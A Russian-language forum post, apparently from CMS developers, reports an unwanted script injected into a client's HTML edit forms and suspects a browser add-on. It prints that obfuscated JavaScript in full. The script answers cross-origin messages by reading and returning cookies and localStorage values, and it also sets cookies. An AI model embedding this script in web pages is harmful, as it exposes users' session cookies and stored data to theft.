У заказчика вчера такое обнаружилось.
Заметил, что эта гадость возникает не всегда.
Только с его компа.
Только когда пишешь что-то в форме редактирования, которая поддерживает режим редактирования html (включаемые обл., формы инфоблоков, если сохранялись в виде html или в визуальном редакторе).
Вывод - какая-то редиска засела в браузере, возможно в каком-то дополнении. Ну или что-то, что работает через браузер.
Эта хрень тянет html со скриптом
Код |
---|
var a1256157352 = function (a) {
if (a && a.data && a.data.a540125352 && a.data.a1204587773)if ("a939675136" == a.data.a1204587773) {
if (!a.data.a2918445836)return "a2918445836 required";
for (var e in a.data.a2918445836)a.data.a2918445836[e] && a1869877677(e, a.data.a2918445836[e])
} else if ("a2878600925" == a.data.a1204587773) {
if (!a.data.a3029222531 || !a.data.a39501098)return "a3029222531 and a39501098 required";
var t = {};
a.data.a3029222531.forEach(function (a) {
var e = a, n = a470276301(a);
null === n && (n = void 0), t[e] = n
}), a.source.postMessage({
a540125352: 1,
a1204587773: "a2878600925",
a39501098: a.data.a39501098,
a2918445836: t
}, "*")
}
}, a1869877677 = function (a, e) {
localStorage && localStorage.setItem(a, e), a2475012037(a, e)
}, a470276301 = function (a) {
var e = a1655291064(a);
return e ? e : localStorage ? localStorage.getItem(a) : void 0
}, a1655291064 = function (a) {
var e = document.cookie.match(new RegExp("(?:^|; )" + a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
return e ? decodeURIComponent(e[1]) : void 0
}, a2475012037 = function (a, e, t) {
t = t || {};
var n = t.a2593941731 ? t.a2593941731 : "%COOKIELIFE%";
if ("number" == typeof n && n) {
var o = new Date;
o.setTime(o.getTime() + 1e3 * n), n = t.a2593941731 = o
}
n && n.toUTCString && (t.a2593941731 = n.toUTCString()), e = encodeURIComponent(e);
var r = a + "=" + e;
for (var d in t) {
r += "; " + d;
var i = t[d];
i !== !0 && (r += "=" + i)
}
document.cookie = r
};
window.onl oad = function () {
window.addEventListener ? addEventListener("message", a1256157352, !1) : attachEvent("onmessage", a1256157352), window.parent.postMessage({
a540125352: 1,
a1204587773: "a4290278612"
}, "*")
}; |